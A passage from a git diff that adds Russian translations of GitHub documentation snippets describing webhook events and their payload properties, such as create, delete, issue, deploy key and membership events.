`application/json` предоставляет полезные данные JSON непосредственно в виде текста запроса `POST`. +- Тип содержимого `application/x-www-form-urlencoded` отправляет полезные данные JSON как параметр формы с именем `payload`. + +Выбирайте ту, что наилучшим образом подходит под ваши нужды. diff --git a/translations/ru-RU/data/reusables/webhooks/create_properties.md b/translations/ru-RU/data/reusables/webhooks/create_properties.md new file mode 100644 index 000000000000..dcbc116eb712 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/create_properties.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 6c1ccaa4f59b43221657c906ca9eb35a9aa768ff +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147066765" +--- +Ключ | Тип | Описание +----|------|------------- +`ref`|`string` | Ресурс [`git ref`](/rest/reference/git#get-a-reference). +`ref_type`|`string` | Тип объекта Git ref, созданного в репозитории. Может быть либо `branch`, либо `tag`. +`master_branch`|`string` | Имя ветви по умолчанию в репозитории (обычно это `main`). +`description`|`string` | Текущее описание репозитория. diff --git a/translations/ru-RU/data/reusables/webhooks/create_short_desc.md b/translations/ru-RU/data/reusables/webhooks/create_short_desc.md new file mode 100644 index 000000000000..132a3c134910 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/create_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7542c620a5e877add1782c1986d94bd40c75983c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087512" +--- +Создается ветвь или тег Git. Дополнительные сведения см. в статье о REST API "[База данных Git](/rest/reference/git#create-a-reference)". diff --git a/translations/ru-RU/data/reusables/webhooks/delete_properties.md b/translations/ru-RU/data/reusables/webhooks/delete_properties.md new file mode 100644 index 000000000000..89b037cae9d3 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/delete_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: ba26ecd74a774d66712c9660cf1824ee91d0b082 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881967" +--- +Ключ | Тип | Описание +----|------|------------- +`ref`|`string` | Ресурс [`git ref`](/rest/reference/git#get-a-reference). +`ref_type`|`string` | Тип объекта Git ref, удаленного в репозитории. Может быть либо `branch`, либо `tag`. diff --git a/translations/ru-RU/data/reusables/webhooks/delete_short_desc.md b/translations/ru-RU/data/reusables/webhooks/delete_short_desc.md new file mode 100644 index 000000000000..c4b39eefe6a3 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/delete_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: ab5f028c76a9af4321ae874413ca46b1186258ed +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878370" +--- +Удаляется ветвь или тег Git. Дополнительные сведения см. в статье о REST API "[База данных Git](/rest/reference/git#delete-a-reference)". diff --git a/translations/ru-RU/data/reusables/webhooks/dependabot_alert_availability.md b/translations/ru-RU/data/reusables/webhooks/dependabot_alert_availability.md new file mode 100644 index 000000000000..a4cf0380ed02 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/dependabot_alert_availability.md @@ -0,0 +1,3 @@ +- Repository webhooks +- Organization webhooks +- {% data variables.product.prodname_github_apps %} with **Dependabot alerts** permission diff --git a/translations/ru-RU/data/reusables/webhooks/dependabot_alert_description.md b/translations/ru-RU/data/reusables/webhooks/dependabot_alert_description.md new file mode 100644 index 000000000000..3d02e8ecd045 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/dependabot_alert_description.md @@ -0,0 +1,9 @@ +{% note %} + +**Note:** Webhook events for {% data variables.product.prodname_dependabot_alerts %} are currently in beta and subject to change. + +{% endnote %} + +Activity related to {% data variables.product.prodname_dependabot_alerts %}. +{% data reusables.webhooks.action_type_desc %} +For more information, see "[About Dependabot alerts](/code-security/dependabot/dependabot-alerts/about-dependabot-alerts)." diff --git a/translations/ru-RU/data/reusables/webhooks/dependabot_alert_payload.md b/translations/ru-RU/data/reusables/webhooks/dependabot_alert_payload.md new file mode 100644 index 000000000000..0ffd6171452f --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/dependabot_alert_payload.md @@ -0,0 +1,8 @@ +Key | Type | Description +---|---|--- +`action` | `string` | The action that was performed. Can be one of `created`, `dismissed`, `reopened`, `fixed`, or `reintroduced`. +`alert` | `object` | The Dependabot [`alert`](/rest/dependabot/alerts#get-a-dependabot-alert) involved in the event. +{% data reusables.webhooks.repo_desc %} +{% data reusables.webhooks.org_desc %} +{% data reusables.webhooks.app_desc %} +`sender` | `object` | If the `action` is `dismissed` or `reopened`, the `sender` is the [`user`](/rest/users/users#get-a-user) that triggered the event. The `sender` is {% ifversion ghes or ghae %}`github-enterprise`{% else %}`github`{% endif %} for all other actions. diff --git a/translations/ru-RU/data/reusables/webhooks/deploy_key_properties.md b/translations/ru-RU/data/reusables/webhooks/deploy_key_properties.md new file mode 100644 index 000000000000..75deef16e27d --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/deploy_key_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 08a63ae6bd345d180669abb953975aeadacf2faa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145087477" +--- +Ключ | Тип | Описание +----|------|------------- +`action` |`string` | выполненные операции; Может быть либо `created`, либо `deleted`. +`key` |`object` | Ресурс [`deploy key`](/rest/reference/deployments#get-a-deploy-key). diff --git a/translations/ru-RU/data/reusables/webhooks/deploy_key_short_desc.md b/translations/ru-RU/data/reusables/webhooks/deploy_key_short_desc.md new file mode 100644 index 000000000000..f1702be581e1 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/deploy_key_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7339240281aca563ec46d3763d281aed52a9b22a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145087471" +--- +Ключ развертывания добавляется в репозиторий или удаляется из него. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API "[Ключи развертывания](/rest/reference/repos#keys)". diff --git a/translations/ru-RU/data/reusables/webhooks/deployment_short_desc.md b/translations/ru-RU/data/reusables/webhooks/deployment_short_desc.md new file mode 100644 index 000000000000..050d2b00c630 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/deployment_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 41fb70aa2e89cbd2a41c400ae797e265da2fe7b6 +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881983" +--- +Создается развертывание. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [развертывания](/rest/reference/deployments#list-deployments). diff --git a/translations/ru-RU/data/reusables/webhooks/deployment_status_short_desc.md b/translations/ru-RU/data/reusables/webhooks/deployment_status_short_desc.md new file mode 100644 index 000000000000..e2292d2fbf56 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/deployment_status_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 4acf7bd889b92b0ee72376b2cc8ae3e037bead97 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145087464" +--- +Создается развертывание. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [развертываний](/rest/reference/repos#deployments). diff --git a/translations/ru-RU/data/reusables/webhooks/discussion_desc.md b/translations/ru-RU/data/reusables/webhooks/discussion_desc.md new file mode 100644 index 000000000000..5038d9b5283e --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/discussion_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: db1277d1125c315b1a6a202b714a7faf54721a0e +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "147081107" +--- +`discussion` | `object` | Ресурс [`discussion`](/graphql/guides/using-the-graphql-api-for-discussions#discussion). diff --git a/translations/ru-RU/data/reusables/webhooks/discussions-webhooks-beta.md b/translations/ru-RU/data/reusables/webhooks/discussions-webhooks-beta.md new file mode 100644 index 000000000000..8b5a727ca8b8 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/discussions-webhooks-beta.md @@ -0,0 +1,13 @@ +--- +ms.openlocfilehash: 6fbcea209a4c511541e5fa92b7cc15d0c0d30908 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087458" +--- +{% note %} + +**Примечание.** События веб-перехватчика для {% data variables.product.prodname_discussions %} в настоящее время находятся в бета-версии и могут быть изменены. + +{% endnote %} diff --git a/translations/ru-RU/data/reusables/webhooks/enterprise_short_desc.md b/translations/ru-RU/data/reusables/webhooks/enterprise_short_desc.md new file mode 100644 index 000000000000..a60e33edc781 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/enterprise_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 7cd50cbc6936454c9015c2923d7474ba2712bfdc +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145087453" +--- +Администратор сайта или репозитория включает или отключает анонимный доступ на чтение Git. Дополнительные сведения см. в разделе "[Разрешение администраторам включать анонимный доступ на чтение Git к общедоступным репозиториям](/enterprise/admin/user-management/allowing-admins-to-enable-anonymous-git-read-access-to-public-repositories)". Это событие недоступно в API событий. diff --git a/translations/ru-RU/data/reusables/webhooks/events_api_payload.md b/translations/ru-RU/data/reusables/webhooks/events_api_payload.md new file mode 100644 index 000000000000..4f772dbc3fd1 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/events_api_payload.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 481c86dcad299f33fd8ae0cf3db215ad212773d8 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145087452" +--- +[Объект события](#event-object-common-properties) содержит свойства, общие для всех событий. Каждый объект события имеет свойство `payload`, а его значение уникально для каждого типа события. Ниже описывается объект `payload` для этого события. diff --git a/translations/ru-RU/data/reusables/webhooks/fork_properties.md b/translations/ru-RU/data/reusables/webhooks/fork_properties.md new file mode 100644 index 000000000000..19e27b509069 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/fork_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 181b74164ca899dc64ae52500333bb13709c20b4 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/09/2022 +ms.locfileid: "147878333" +--- +Ключ | Тип | Описание +----|------|------------- +`forkee`|`object` | Созданный ресурс [`repository`](/rest/reference/repos#get-a-repository). diff --git a/translations/ru-RU/data/reusables/webhooks/fork_short_desc.md b/translations/ru-RU/data/reusables/webhooks/fork_short_desc.md new file mode 100644 index 000000000000..52973707a499 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/fork_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: eeedab24655482507727775731c394ae27dd39ca +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145165236" +--- +Пользователь создает вилку репозитория. Дополнительные сведения см. в разделе [Создание вилок](/rest/reference/repos#forks) REST API. diff --git a/translations/ru-RU/data/reusables/webhooks/gollum_properties.md b/translations/ru-RU/data/reusables/webhooks/gollum_properties.md new file mode 100644 index 000000000000..50b0ebc42f6b --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/gollum_properties.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 55d2a154539d7cc6b73f248c5616bd0016a561aa +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145087440" +--- +Ключ | Тип | Описание +----|------|------------- +`pages`|`array` | Обновленные страницы. +`pages[][page_name]`|`string` | Имя страницы. +`pages[][title]`|`string` | Заголовок текущей страницы. +`pages[][action]`|`string` | Действие, выполненное на странице. Может иметь значение `created` или `edited`. +`pages[][sha]`|`string` | Последняя фиксация SHA страницы. +`pages[][html_url]`|`string` | Указывает на вики-страницу HTML. diff --git a/translations/ru-RU/data/reusables/webhooks/gollum_short_desc.md b/translations/ru-RU/data/reusables/webhooks/gollum_short_desc.md new file mode 100644 index 000000000000..e348295621ed --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/gollum_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 352bdeaf55496ddd5da7262e3c541f7a74f8cc35 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145087416" +--- +Вики-страница создается или обновляется. Дополнительные сведения см. в статье "[Сведения о вики-страницах](/communities/documenting-your-project-with-wikis/about-wikis)". diff --git a/translations/ru-RU/data/reusables/webhooks/installation_properties.md b/translations/ru-RU/data/reusables/webhooks/installation_properties.md new file mode 100644 index 000000000000..d60002415dc1 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/installation_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 2bd293f62b5fcf467c379c315347056245029ff6 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087411" +--- +Ключ | Тип | Описание +----|------|------------ +`action` | `string` | Действие, которое было выполнено. Возможные значения:
    • `created` — кто-то устанавливает {% data variables.product.prodname_github_app %}.
    • `deleted` — кто-то удаляет {% data variables.product.prodname_github_app %}.
    • `suspend` — кто-то приостанавливает установку {% data variables.product.prodname_github_app %}.
    • `unsuspend` — кто-то разблокирует установку {% data variables.product.prodname_github_app %}.
    • `new_permissions_accepted` — кто-то принимает новые разрешения для установки {% data variables.product.prodname_github_app %}. Когда владелец {% data variables.product.prodname_github_app %} запрашивает новые разрешения, пользователь, установивший {% data variables.product.prodname_github_app %}, должен принять новый запрос разрешений.
    +`repositories` | `array` | Массив объектов репозитория, к которым может получить доступ установка. diff --git a/translations/ru-RU/data/reusables/webhooks/installation_repositories_properties.md b/translations/ru-RU/data/reusables/webhooks/installation_repositories_properties.md new file mode 100644 index 000000000000..afb1e441ddf4 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/installation_repositories_properties.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 43e874e29bca10faa81fd0f24e4098fe20eab90c +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067259" +--- +Ключ | Тип | Описание +----|------|------------ +`action` | `string` | Действие, которое было выполнено. Может быть либо `added`, либо `removed`. +`repository_selection` | `string` | Варианты репозиториев, в которые выполняется установка. Может быть либо `selected`, либо `all`. +`repositories_added` | `array` | Массив объектов репозитория, которые были добавлены в установку. +`repositories_removed` | `array` | Массив объектов репозитория, которые были удалены из установки. diff --git a/translations/ru-RU/data/reusables/webhooks/installation_repositories_short_desc.md b/translations/ru-RU/data/reusables/webhooks/installation_repositories_short_desc.md new file mode 100644 index 000000000000..7c3aa09b5532 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/installation_repositories_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 8911559888bccc2d46e9e698d4f71a224698a2ca +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087410" +--- +Действия, связанные с репозиториями, которые добавляются в установку приложения GitHub. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе [Установка приложения GitHub](/rest/reference/apps) REST API. diff --git a/translations/ru-RU/data/reusables/webhooks/installation_short_desc.md b/translations/ru-RU/data/reusables/webhooks/installation_short_desc.md new file mode 100644 index 000000000000..1954fd50e673 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/installation_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: c9c5390c972cb69a2b02a59a71a128394752c179 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089029" +--- +Действие, связанное с установкой приложения GitHub. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе [Установка приложения GitHub](/rest/reference/apps) REST API. diff --git a/translations/ru-RU/data/reusables/webhooks/issue_comment_properties.md b/translations/ru-RU/data/reusables/webhooks/issue_comment_properties.md new file mode 100644 index 000000000000..6fab3507cdc2 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/issue_comment_properties.md @@ -0,0 +1,12 @@ +--- +ms.openlocfilehash: 48bdd132a0dd2956a88444f85d1a6e06adeaed85 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145087404" +--- +`changes`|`object` | Изменения в комментарии, если выполнялось действие `edited`. +`changes[body][from]` |`string` | Предыдущая версия текста, если действие было `edited`. +`issue`|`object` | [Проблема](/rest/reference/issues), к котором относится комментарий. +`comment`|`object` | Сам [комментарий](/rest/reference/issues#comments). diff --git a/translations/ru-RU/data/reusables/webhooks/issue_comment_short_desc.md b/translations/ru-RU/data/reusables/webhooks/issue_comment_short_desc.md new file mode 100644 index 000000000000..d2d9c1192348 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/issue_comment_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: adbfa81086df1afabbb70d5357dec47bb0a68a0f +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145067254" +--- +Действия, связанные комментарием к проблеме или запросу на вытягивание. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в разделе о REST API [комментариев к проблемам](/rest/reference/issues#comments). diff --git a/translations/ru-RU/data/reusables/webhooks/issue_comment_webhook_properties.md b/translations/ru-RU/data/reusables/webhooks/issue_comment_webhook_properties.md new file mode 100644 index 000000000000..49aa051b6c8d --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/issue_comment_webhook_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 0471d244dfc24ce15dcd98323b44019729f604e1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145087399" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, выполненное с комментарием. Может иметь значение `created`, `edited` или `deleted`. diff --git a/translations/ru-RU/data/reusables/webhooks/issue_event_api_properties.md b/translations/ru-RU/data/reusables/webhooks/issue_event_api_properties.md new file mode 100644 index 000000000000..754eb4d6077c --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/issue_event_api_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 0064b9b4385dc3e8dcad7cf8bf6e0ecb083c90b3 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145165108" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Это может быть `opened`, `edited`, `closed`, `reopened`, `assigned`, `unassigned`, `labeled` или `unlabeled`. diff --git a/translations/ru-RU/data/reusables/webhooks/issue_properties.md b/translations/ru-RU/data/reusables/webhooks/issue_properties.md new file mode 100644 index 000000000000..ee2e68c6eeba --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/issue_properties.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: 905d4497bb48d1c5bfab91a1bb06389e5cd197e1 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067253" +--- +`issue`|`object` | Сама [проблема](/rest/reference/issues). +`changes`|`object`| Изменения в проблеме, если выполнялось действие `edited`. +`changes[title][from]`|`string` | Предыдущая версия заголовка, если выполнялось действие `edited`. +`changes[body][from]`|`string` | Предыдущая версия текста, если действие было `edited`. +`assignee`|`object` | Необязательный пользователь, который получил или не получил назначение из проблемы. +`label`|`object` | Необязательная метка, которая была добавлена или удалена из проблемы. diff --git a/translations/ru-RU/data/reusables/webhooks/issue_webhook_properties.md b/translations/ru-RU/data/reusables/webhooks/issue_webhook_properties.md new file mode 100644 index 000000000000..224628e315f7 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/issue_webhook_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 998e7c618e8a8abb855d6536a8ece5d75921e3f5 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: "145087398" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Допустимые значения: `opened`, `edited`, `deleted`, `pinned`, `unpinned`, `closed`, `reopened`, `assigned`, `unassigned`, `labeled`, `unlabeled`, `locked`, `unlocked`, `transferred`, `milestoned` и `demilestoned`. diff --git a/translations/ru-RU/data/reusables/webhooks/issues_short_desc.md b/translations/ru-RU/data/reusables/webhooks/issues_short_desc.md new file mode 100644 index 000000000000..f71ae6ddac2a --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/issues_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: f0efd471b85c08dc1a32bfebfe3ecb2fc34496e7 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145089010" +--- +Действие, связанное с проблемой. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [проблем](/rest/reference/issues). diff --git a/translations/ru-RU/data/reusables/webhooks/label_short_desc.md b/translations/ru-RU/data/reusables/webhooks/label_short_desc.md new file mode 100644 index 000000000000..0be02b16808e --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/label_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 438d5e82d73a5f121b4c15a0d03ac5d2b4f44076 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881190" +--- +Действие, связанное с меткой. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [меток](/rest/reference/issues#labels). diff --git a/translations/ru-RU/data/reusables/webhooks/member_event_api_properties.md b/translations/ru-RU/data/reusables/webhooks/member_event_api_properties.md new file mode 100644 index 000000000000..d1cfdedcb0b0 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/member_event_api_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 8100e743e3f59f107f3054bf857fdae3ac3570c1 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145089002" +--- +Ключ | Тип | Описание +----|------|------------- +`action` | `string` | Действие, которое было выполнено. Может иметь значение `added`, которое указывает, что пользователь принял приглашение в репозиторий. diff --git a/translations/ru-RU/data/reusables/webhooks/member_properties.md b/translations/ru-RU/data/reusables/webhooks/member_properties.md new file mode 100644 index 000000000000..fcfe36f11fe5 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/member_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 60b583225d30a4d15b7e7454e417f645b7d6c8e4 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "145067223" +--- +`member`|`object` | [Пользователь](/rest/reference/users), который был добавлен. +`changes`|`object` | Изменения разрешений участника совместной работы, если было выполнено действие `edited`. +`changes[old_permission][from]`|`string` | Предыдущие разрешения участника совместной работы, если было выполнено действие `edited`. diff --git a/translations/ru-RU/data/reusables/webhooks/member_short_desc.md b/translations/ru-RU/data/reusables/webhooks/member_short_desc.md new file mode 100644 index 000000000000..989d17b2ff06 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/member_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 9a312504c89247b7ac99cec1e25120b0e9de0d1a +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: "147881206" +--- +Действия, связанные с участниками совместной работы в репозитории. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [участников совместной работы](/rest/reference/repos#collaborators). diff --git a/translations/ru-RU/data/reusables/webhooks/member_webhook_properties.md b/translations/ru-RU/data/reusables/webhooks/member_webhook_properties.md new file mode 100644 index 000000000000..3a5789c4d1df --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/member_webhook_properties.md @@ -0,0 +1,11 @@ +--- +ms.openlocfilehash: 6e4d3748d95e097726f2b372306d0248fb7c2427 +ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/12/2022 +ms.locfileid: "145067217" +--- +Ключ | Тип | Описание +----|------|------------- +`action`|`string` | Действие, которое было выполнено. Возможные значения:
    • `added` — пользователь принимает приглашение в репозиторий.
    • `removed` — пользователь удален из числа участников совместной работы в репозитории.
    • `edited` — изменены разрешения участника совместной работы для пользователя.
    diff --git a/translations/ru-RU/data/reusables/webhooks/membership_properties.md b/translations/ru-RU/data/reusables/webhooks/membership_properties.md new file mode 100644 index 000000000000..e472882e373c --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/membership_properties.md @@ -0,0 +1,14 @@ +--- +ms.openlocfilehash: e2df86df5d4919f4c55bb1963b66e9114eb03e44 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145088994" +--- +Ключ | Тип | Описание +----|------|------------- +`action` |`string` | Действие, которое было выполнено. Может иметь значение `added` или `removed`. +`scope` |`string` | Область членства. В настоящее время может иметь только значение `team`. +`member` |`object` | [Пользователь](/rest/reference/users), который был добавлен или удален. +`team` |`object` | [Команда](/rest/reference/teams) для членства. diff --git a/translations/ru-RU/data/reusables/webhooks/membership_short_desc.md b/translations/ru-RU/data/reusables/webhooks/membership_short_desc.md new file mode 100644 index 000000000000..71c5aff43c70 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/membership_short_desc.md @@ -0,0 +1,9 @@ +--- +ms.openlocfilehash: 2147599fef4aff3ddefeeaaf26e40d249cb7c124 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: "145067212" +--- +Действие, связанное с членством в команде. {% data reusables.webhooks.action_type_desc %} Дополнительные сведения см. в статье о REST API [членов команды](/rest/reference/teams#members). diff --git a/translations/ru-RU/data/reusables/webhooks/milestone_properties.md b/translations/ru-RU/data/reusables/webhooks/milestone_properties.md new file mode 100644 index 000000000000..2a4e5275ad37 --- /dev/null +++ b/translations/ru-RU/data/reusables/webhooks/milestone_properties.md @@ -0,0 +1,16 @@ +--- +ms.openlocfilehash: 59b68e124208e167e58e295905ff993ecf0530ef +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d 